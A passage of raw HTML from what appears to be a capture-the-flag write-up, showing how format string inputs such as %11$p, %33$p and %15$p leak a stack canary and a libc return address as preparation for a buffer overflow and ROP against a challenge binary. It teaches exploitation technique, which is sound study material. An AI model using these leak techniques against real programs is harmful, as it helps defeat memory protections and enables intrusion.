src=\"/static/a672b4d406e309e467697fa06205ed4e/cd039/image-20240606220444467.png\"\n            alt=\"image-20240606220444467\"\n            title=\"image-20240606220444467\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>In most cases, you can also explicitly specify a particular argument position using the <code class=\"language-text\">$</code> notation.</p>\n<p>For example, supplying <code class=\"language-text\">AAAABBBB_%6$p</code> will print only the 6th value (the stack address where printf arguments are stored) via <code class=\"language-text\">%6$p</code>.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 545px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/57f5c81425c91cb147b4681a3fb20ff6/3ddad/image-20240606221024478.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 11.249999999999998%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAlklEQVQI1x3KzQ+BcACA4a4OmIuNA5nN0IfqZ4kUlaUYLYrNHGw2N///8dWcnssj+ZMVa2VFsknxtDW+6rIZLFnKPk7fwxvtsLsLttM9iTj/DZUEtWUwratMGjpWW+B3TELZQSrmBwqRUlaelJCrlZAbMTf7yN05cTFjHm7GN3/zSZ+8wvJvpkfVD8i0iKBnI5pjZrUhP+INQ72MF6XfAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/57f5c81425c91cb147b4681a3fb20ff6/8ac56/image-20240606221024478.webp 240w,\n/static/57f5c81425c91cb147b4681a3fb20ff6/d3be9/image-20240606221024478.webp 480w,\n/static/57f5c81425c91cb147b4681a3fb20ff6/6305f/image-20240606221024478.webp 545w\"\n              sizes=\"(max-width: 545px) 100vw, 545px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/57f5c81425c91cb147b4681a3fb20ff6/8ff5a/image-20240606221024478.png 240w,\n/static/57f5c81425c91cb147b4681a3fb20ff6/e85cb/image-20240606221024478.png 480w,\n/static/57f5c81425c91cb147b4681a3fb20ff6/3ddad/image-20240606221024478.png 545w\"\n            sizes=\"(max-width: 545px) 100vw, 545px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/57f5c81425c91cb147b4681a3fb20ff6/3ddad/image-20240606221024478.png\"\n            alt=\"image-20240606221024478\"\n            title=\"image-20240606221024478\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>By applying this technique, you can also leak values at addresses far from the stack address where printf arguments are stored.</p>\n<h3 id=\"leaking-the-canary-with-fsb\" style=\"position:relative;\"><a href=\"#leaking-the-canary-with-fsb\" aria-label=\"leaking the canary with fsb permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Leaking the Canary with FSB</h3>\n<p>Next, let’s use FSB to leak the Canary value.</p>\n<p>The Canary is typically saved to the stack in each function’s prologue, so it is easy to leak via FSB.</p>\n<p>In this challenge binary, the Canary is stored at RBP-0x8 inside the <code class=\"language-text\">go</code> function.</p>\n<p>Since <code class=\"language-text\">%6$p</code> can access RBP-0x30 (where our format string is stored), the stack area holding the Canary can be reached by adding <code class=\"language-text\">(0x30-0x8)//0x8 = 5</code>, giving <code class=\"language-text\">%11$p</code>.</p>\n<p>By providing this input, we can successfully leak the Canary from the stack inside the <code class=\"language-text\">go</code> function. (The Canary value is randomized each time the program runs.)</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 544px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/1b2c8813f137fc77ece064e1f32cac8c/b3e51/image-20240606222639190.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 11.249999999999998%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAk0lEQVQI10WLOQ6CQAAA6YwWSGNiLEBjjAfCEpQjcniAupoonrGg9v9PGLezmEwxGS13UpL5isNaEk8jtiIjMWPCfk5kZaSjHctezMaWiE7AWHeZ6IJZ28U2lA2PoBtQWCEbM0SrsztPX/KJLlROyXt5phJ7nosTD/+okNTpja+seal2dQoqt2SnZrcxwGsNEc0/P1DeQNhrsmBYAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/1b2c8813f137fc77ece064e1f32cac8c/8ac56/image-20240606222639190.webp 240w,\n/static/1b2c8813f137fc77ece064e1f32cac8c/d3be9/image-20240606222639190.webp 480w,\n/static/1b2c8813f137fc77ece064e1f32cac8c/cd5ab/image-20240606222639190.webp 544w\"\n              sizes=\"(max-width: 544px) 100vw, 544px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/1b2c8813f137fc77ece064e1f32cac8c/8ff5a/image-20240606222639190.png 240w,\n/static/1b2c8813f137fc77ece064e1f32cac8c/e85cb/image-20240606222639190.png 480w,\n/static/1b2c8813f137fc77ece064e1f32cac8c/b3e51/image-20240606222639190.png 544w\"\n            sizes=\"(max-width: 544px) 100vw, 544px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/1b2c8813f137fc77ece064e1f32cac8c/b3e51/image-20240606222639190.png\"\n            alt=\"image-20240606222639190\"\n            title=\"image-20240606222639190\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>However, in some situations — such as when BoF has already corrupted the stack — we may not be able to read the Canary from RBP-0x8 inside <code class=\"language-text\">go</code>.</p>\n<p>The following shows an example where the output of <code class=\"language-text\">%11$p</code> is <code class=\"language-text\">0x4141414141414141</code> because the Canary has been overwritten.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/1d93e971766ec7132fc9fecba94c414c/c2d9c/image-20240606222828946.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 5.833333333333333%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAABCAYAAADeko4lAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAUElEQVQI10XD3QpAMACAUQ8hyT0p5veCtDXZjCly4f1f5ePOqRP43mIKhck0SzazlQ5f7RzfZzi5m5VTGK7Kcom/zzUulci4ZYpqxlCgko4XVNIhlIDAt7cAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/1d93e971766ec7132fc9fecba94c414c/8ac56/image-20240606222828946.webp 240w,\n/static/1d93e971766ec7132fc9fecba94c414c/d3be9/image-20240606222828946.webp 480w,\n/static/1d93e971766ec7132fc9fecba94c414c/e46b2/image-20240606222828946.webp 960w,\n/static/1d93e971766ec7132fc9fecba94c414c/bfc0a/image-20240606222828946.webp 1326w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/1d93e971766ec7132fc9fecba94c414c/8ff5a/image-20240606222828946.png 240w,\n/static/1d93e971766ec7132fc9fecba94c414c/e85cb/image-20240606222828946.png 480w,\n/static/1d93e971766ec7132fc9fecba94c414c/d9199/image-20240606222828946.png 960w,\n/static/1d93e971766ec7132fc9fecba94c414c/c2d9c/image-20240606222828946.png 1326w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/1d93e971766ec7132fc9fecba94c414c/d9199/image-20240606222828946.png\"\n            alt=\"image-20240606222828946\"\n            title=\"image-20240606222828946\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>In such cases, targeting the Canary saved deeper in the stack (below the stack address that the printf inside the FSB-vulnerable function references) enables us to successfully leak it.</p>\n<p>In this specific case, we first set a breakpoint inside the <code class=\"language-text\">go</code> function, note the Canary value fetched from the TLS (<code class=\"language-text\">fs:0x28</code>) (e.g., <code class=\"language-text\">0xba2d86a755c0c400</code>), and then use <code class=\"language-text\">searchmem 0xba2d86a755c0c400</code> to check whether the same value is embedded elsewhere in the stack.</p>\n<p>As shown below, the same value as the Canary is found at <code class=\"language-text\">0x7fffffffdc18</code>, which is at a deeper address than the RSP of the <code class=\"language-text\">go</code> function.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 470px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/65ff40ee840bb33a43112da2963c5686/f96db/image-20240606230423319.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 28.333333333333332%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABhElEQVQY0z2QS1PaABSFs6lasApjfYxFBxAKARIID8EikAcNIBFMKISiA1Jt6ZR2+v9XX5Msujjz3dW55xzh4TjPxJP1PsescR/otf/E4tZhqc1Yd+dsH1546S34ef/MY8tmM1zSz7SoHxW4jua4OZZpeLcSTiO4NyPmjRFfane49SFDseXxjrUxZTtastImPBsu808j79EjVl7DSDToxKpMKgM6Hyo45T6zukXlIIOw0qYMMm0GokZfHtMt2FTPdUzZoae4qKketmLy+aoZ0E/qp1QvamiX1/8p7yaR95II28kPFm0HKSwSf9flImSQPOyRiFrEo2M+RnTUWNlLpvPbfuWb+ZW/0w0ba8Wv8dqbYcUf5zvVQ5Hi3hWCE1NwTiXMSBY9beDezlATHaSQiHygIO8XqOynqUVytL16fkW/bvOsRPu8TPO0FMjfr/jWM1RPZOy8ysLbzykZaGmT/EmPbKRDNqqT8ZQ6GpEPF5HeXCLtJCjsxANKPncTwe2blUIp/gHYAceQSr1tfQAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/65ff40ee840bb33a43112da2963c5686/8ac56/image-20240606230423319.webp 240w,\n/static/65ff40ee840bb33a43112da2963c5686/4424c/image-20240606230423319.webp 470w\"\n              sizes=\"(max-width: 470px) 100vw, 470px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/65ff40ee840bb33a43112da2963c5686/8ff5a/image-20240606230423319.png 240w,\n/static/65ff40ee840bb33a43112da2963c5686/f96db/image-20240606230423319.png 470w\"\n            sizes=\"(max-width: 470px) 100vw, 470px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/65ff40ee840bb33a43112da2963c5686/f96db/image-20240606230423319.png\"\n            alt=\"image-20240606230423319\"\n            title=\"image-20240606230423319\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>This appears to be a residual value from when <code class=\"language-text\">__libc_start_call_main</code> (called before <code class=\"language-text\">main</code>) saved the Canary from TLS to the stack.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 757px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/e46b4ec38c6d2768d54bb8cdbc5c8a7a/1fbe8/image-20240606230322555.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 38.75%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABrElEQVQoz2XRbW/ScBTGYd6YQIECbYnJ5EFoaQHpE0jbCSUMN2SUDdDFxBd+/4/x8wAbmvji5G7S5Mp9zj+XWhnLwZFN8IO5uWXrZRz8e9bWjJW7YGb0WRkOc8Pmiy5Z75NoDn7BIlBMglO+jWKR69SeaGtHupU1LfWRuHFH1k8ZvmszbI+IShYLxWZYDAjyXby8KVhPAEnlgl7yguZsY0evfqRvbDBrW5LmV/buirBk47Zc4qLJQRuyqvmk+oRE/0ysBUSK4IW/0LVhT8+wjGcc7eEMTm+WvIzXTCp9Rg1pWLT4XrXJZNbvBatFxDcLlmVLmpoXUHnLM7gTcH8F4w9Lfk43jFWHUfMCHktd9qrFvmaSqiFB85lZuXcG/f9A4xXUv9GtZcTN+1dQGrZdpkqPTcUlrXgkkpEayMoT5ifwiv0DnjBLbuhoawF3JK0Hft1mjMsOruXjNzz5DvBLHoNiSFgeMi98JJYNXAE8aenK/fx8Rxp3T+ABs/6CrT/S0fYk7Q2/08N5ZbfjEmqfiKoJYTVmoN7KbT1m8vKptFrIg6UydyWTqR4RyL8/aCzrMxBIFwcAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/e46b4ec38c6d2768d54bb8cdbc5c8a7a/8ac56/image-20240606230322555.webp 240w,\n/static/e46b4ec38c6d2768d54bb8cdbc5c8a7a/d3be9/image-20240606230322555.webp 480w,\n/static/e46b4ec38c6d2768d54bb8cdbc5c8a7a/4578a/image-20240606230322555.webp 757w\"\n              sizes=\"(max-width: 757px) 100vw, 757px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/e46b4ec38c6d2768d54bb8cdbc5c8a7a/8ff5a/image-20240606230322555.png 240w,\n/static/e46b4ec38c6d2768d54bb8cdbc5c8a7a/e85cb/image-20240606230322555.png 480w,\n/static/e46b4ec38c6d2768d54bb8cdbc5c8a7a/1fbe8/image-20240606230322555.png 757w\"\n            sizes=\"(max-width: 757px) 100vw, 757px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/e46b4ec38c6d2768d54bb8cdbc5c8a7a/1fbe8/image-20240606230322555.png\"\n            alt=\"image-20240606230322555\"\n            title=\"image-20240606230322555\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>The difference between this address and RBP-0x30 of <code class=\"language-text\">go</code> is 0xd8, and <code class=\"language-text\">0xd8//0x8 = 27</code>, so <code class=\"language-text\">%33$p</code> should also be able to leak the Canary.</p>\n<p>In practice, we can confirm that <code class=\"language-text\">%11$p</code> and <code class=\"language-text\">%33$p</code> leak the same value, and that the Canary can be successfully leaked via <code class=\"language-text\">%33$p</code> even when the <code class=\"language-text\">go</code> function’s stack has been corrupted by BoF.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/72d53dde3bdf4f55d6c79651f89fa07a/e996b/image-20240606231708048.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 14.583333333333334%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAvUlEQVQI11XOTW+CQACEYZLGpgcTe+mtARRLxFJURGzpWhbcAvIhMZ78/z/k1W689PAkc5nJGPk6Q/qCnfODcFLkTKE+DrcsWb5ECDOhmH4TDl3mDyb+wOZ9YGn+o03wNPnHaOOSeqVoFiWHoKQLG/pNxzFqaVc15+2RS9JTe5LiTVDeVe6OzIrZPHt3c6KRh3EOK+pZSufnWuUKTstf+kCxvxXU+Evbjz/14N/bYip0VpOEzIy13NqSvkZcAcwsYBjmd1GbAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/72d53dde3bdf4f55d6c79651f89fa07a/8ac56/image-20240606231708048.webp 240w,\n/static/72d53dde3bdf4f55d6c79651f89fa07a/d3be9/image-20240606231708048.webp 480w,\n/static/72d53dde3bdf4f55d6c79651f89fa07a/e46b2/image-20240606231708048.webp 960w,\n/static/72d53dde3bdf4f55d6c79651f89fa07a/c139f/image-20240606231708048.webp 1050w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/72d53dde3bdf4f55d6c79651f89fa07a/8ff5a/image-20240606231708048.png 240w,\n/static/72d53dde3bdf4f55d6c79651f89fa07a/e85cb/image-20240606231708048.png 480w,\n/static/72d53dde3bdf4f55d6c79651f89fa07a/d9199/image-20240606231708048.png 960w,\n/static/72d53dde3bdf4f55d6c79651f89fa07a/e996b/image-20240606231708048.png 1050w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/72d53dde3bdf4f55d6c79651f89fa07a/d9199/image-20240606231708048.png\"\n            alt=\"image-20240606231708048\"\n            title=\"image-20240606231708048\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>The Canary leaked this way will be used later when exploiting the BoF vulnerability.</p>\n<h3 id=\"leaking-the-libc-base-address-with-fsb\" style=\"position:relative;\"><a href=\"#leaking-the-libc-base-address-with-fsb\" aria-label=\"leaking the libc base address with fsb permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Leaking the libc Base Address with FSB</h3>\n<p>Next, we’ll use FSB to leak a library function address and identify the libc version so we can later use ROP or OneGadget.</p>\n<p>One technique for leaking library function addresses via FSB is to leak the return address of <code class=\"language-text\">__libc_start_main_ret</code> that is held on the <code class=\"language-text\">main</code> function’s stack.</p>\n<p>In this binary, the <code class=\"language-text\">__libc_start_main_ret</code> return address is recorded 16 bytes after the address where <code class=\"language-text\">go</code>’s return address is stored.</p>\n<p>In other words, adding <code class=\"language-text\">(0x30+0x8+0x10)//8 = 9</code> gives <code class=\"language-text\">%15$p</code>, which leaks the <code class=\"language-text\">__libc_start_main_ret</code> address.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/eb54d3ebb2b904ec8a2207f015c5e0c6/4ef40/image-20240606234914053.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 72.91666666666666%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAACw0lEQVQ4y3VT2XLaQBDkyTGY0+YyGIKRuAS60QqklRCXwdhObJOqPKSS//+Lzmh9m+ShSxLU9HTPTCe+Sz5uuiGWEseK3q86AXbKAn6NQT/pQ091BLSk/A4dGCkZelKi/2Tx/oJE2A0wb0wwLerwKhZY0YBbNOGUXWjpERX0BLGVHWJcUGHnVRgZRZAJ0s+EvMuwrppgRy14p0MENQuLlovFVwZe1TE5G2FaUhGcm/RtYFa3qbkK7bj9geiVUG0wSIUbtM4e4Tcj7Acc1zUTaypcyzQCgl/RoX65xOxiLBpoX9pvlpOfCMcNC37GwqQWYd2dIyQl42wPLqmNGg7Guf6TvRMZdqYHM915tfuC99+Jmcxw17AxOboAy/UwKWnCmrBHipz8ADY1iIk5NbOzfWH3SZ30NsvnZ8Jp2fDrPpwKBy9b4HUOtzaDUxpjI3lYtqaYX06w6XAsmy4t0EFEjWL18yajRoMP80xoDR1O3YPbWmBRpYU0A3idK4QXHjZqRKoMBKQubI5hng2g57sw8/3/Ww7aPr4ZO6yVJaZEaGcVGBUNrGRByY3oRPpgqT5UeqqFIbT8kEjp96T8b8uP5ha/Z3v84g+4ViJohR6M2hBqlaw8F2hx97jg+Al6jJR0oE4Q3htr/In2+DHe4na0QNDiCCSGybkuSETBuwV8xoHlTX+FSF7RIkJahEOxW8GrOTBzRJhVKSU0t/QAJqXDzAxhpBUBK90Vp3Rw2I/sHu1MBOn0jmYXYVc3sMh2MKMD9soGbdkV4DRfv0KRpDnatFm/YghlI0pYfPQx4oNP/PQe0MnNIZ/dwa6G2MmcErJE0PToiHuUaSaUu4UBHb0OTgsLKJKc4hrWbISUqDiuIcEra0hsjT3kwhZS8R5q5QrzwS2ml9fg7Q2c8xD9EweDDINx6sIuTWEWp7CLDlhBOUB8/H8BrYO5aZ+u5dEAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/eb54d3ebb2b904ec8a2207f015c5e0c6/8ac56/image-20240606234914053.webp 240w,\n/static/eb54d3ebb2b904ec8a2207f015c5e0c6/d3be9/image-20240606234914053.webp 480w,\n/static/eb54d3ebb2b904ec8a2207f015c5e0c6/e46b2/image-20240606234914053.webp 960w,\n/static/eb54d3ebb2b904ec8a2207f015c5e0c6/30771/image-20240606234914053.webp 1057w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/eb54d3ebb2b904ec8a2207f015c5e0c6/8ff5a/image-20240606234914053.png 240w,\n/static/eb54d3ebb2b904ec8a2207f015c5e0c6/e85cb/image-20240606234914053.png 480w,\n/static/eb54d3ebb2b904ec8a2207f015c5e0c6/d9199/image-20240606234914053.png 960w,\n/static/eb54d3ebb2b904ec8a2207f015c5e0c6/4ef40/image-20240606234914053.png 1057w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/eb54d3ebb2b904ec8a2207f015c5e0c6/d9199/image-20240606234914053.png\"\n            alt=\"image-20240606234914053\"\n            title=\"image-20240606234914053\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Connecting to the challenge server and leaking this address via FSB identifies the last 3 hex digits of <code class=\"language-text\">__libc_start_main_ret</code> as <code class=\"language-text\">0xd90</code>.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 716px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/702a3a32e961c27b2475abfbf24ea454/6bbf7/image-20240606235228460.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 9.166666666666668%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAjUlEQVQI102IywqCQABF3ZUtwhYtDAJFg0iZMcbHaFHQVPSiRWmt+/+POA2tWhzuOddpREOd1lSxovAL5DhHTWqUr9HhloWXMR8KktGSxJOkdjfTEhNUHKIVJtTsrJtA225w2uLCXexp8zNPdeJV3XjY7ez/MW+68spxtkb0QrJBhHRjZN/iRrbjH//+BbTCPlNOLkCMAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/702a3a32e961c27b2475abfbf24ea454/8ac56/image-20240606235228460.webp 240w,\n/static/702a3a32e961c27b2475abfbf24ea454/d3be9/image-20240606235228460.webp 480w,\n/static/702a3a32e961c27b2475abfbf24ea454/d8378/image-20240606235228460.webp 716w\"\n              sizes=\"(max-width: 716px) 100vw, 716px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/702a3a32e961c27b2475abfbf24ea454/8ff5a/image-20240606235228460.png 240w,\n/static/702a3a32e961c27b2475abfbf24ea454/e85cb/image-20240606235228460.png 480w,\n/static/702a3a32e961c27b2475abfbf24ea454/6bbf7/image-20240606235228460.png 716w\"\n            sizes=\"(max-width: 716px) 100vw, 716px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/702a3a32e961c27b2475abfbf24ea454/6bbf7/image-20240606235228460.png\"\n            alt=\"image-20240606235228460\"\n            title=\"image-20240606235228460\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>This allows us to narrow down the libc version running on the challenge server to some extent.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 679px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/ac9f15feb0e419576355100921876220/1b747/image-20240606235215536.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 43.75%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAABVklEQVQoz32SS07DMBRFvTK2wFZYAEJMmMAiYFgmDNgASEgsACHohEr0R9okbhPn419yeS8lwUWiT7qyHMvHPs8Rk8kHFosluNq2HdJX+C1cm82mGI/f4b1HWKJUBVSWwWqzt1DXNbTW+Fs9cLutECcKqawgNxW2WY3Npoao4BHXCokuEKcpZCrRNA2klATVHYDnfXpglmskKUPLLgzluXAvnzCPrzBPb3B5Cc8bSYM3s06YECjpZtGqwFeksKQwNKJR6NNblEfnqI4v0czTnVfT4r/qgay3jkus1gUiSncAAx1aaNI2oJvhF8Q3cs7tPVAIZOU4qQZt7iWPoiZMQUAFB0OAXlcpajj1lPtojOkeyFo7AHkz686XOWbzDCvSn84yCDt6hr64g766h48zwpOxb4ZfJHyQsIfWeWhDZj+xdjcKffOA8uQa5dkITZz3XjhU7YH1b3l8t099TRASAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/ac9f15feb0e419576355100921876220/8ac56/image-20240606235215536.webp 240w,\n/static/ac9f15feb0e419576355100921876220/d3be9/image-20240606235215536.webp 480w,\n/static/ac9f15feb0e419576355100921876220/8fbda/image-20240606235215536.webp 679w\"\n              sizes=\"(max-width: 679px) 100vw, 679px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/ac9f15feb0e419576355100921876220/8ff5a/image-20240606235215536.png 240w,\n/static/ac9f15feb0e419576355100921876220/e85cb/image-20240606235215536.png 480w,\n/static/ac9f15feb0e419576355100921876220/1b747/image-20240606235215536.png 679w\"\n            sizes=\"(max-width: 679px) 100vw, 679px\"\n            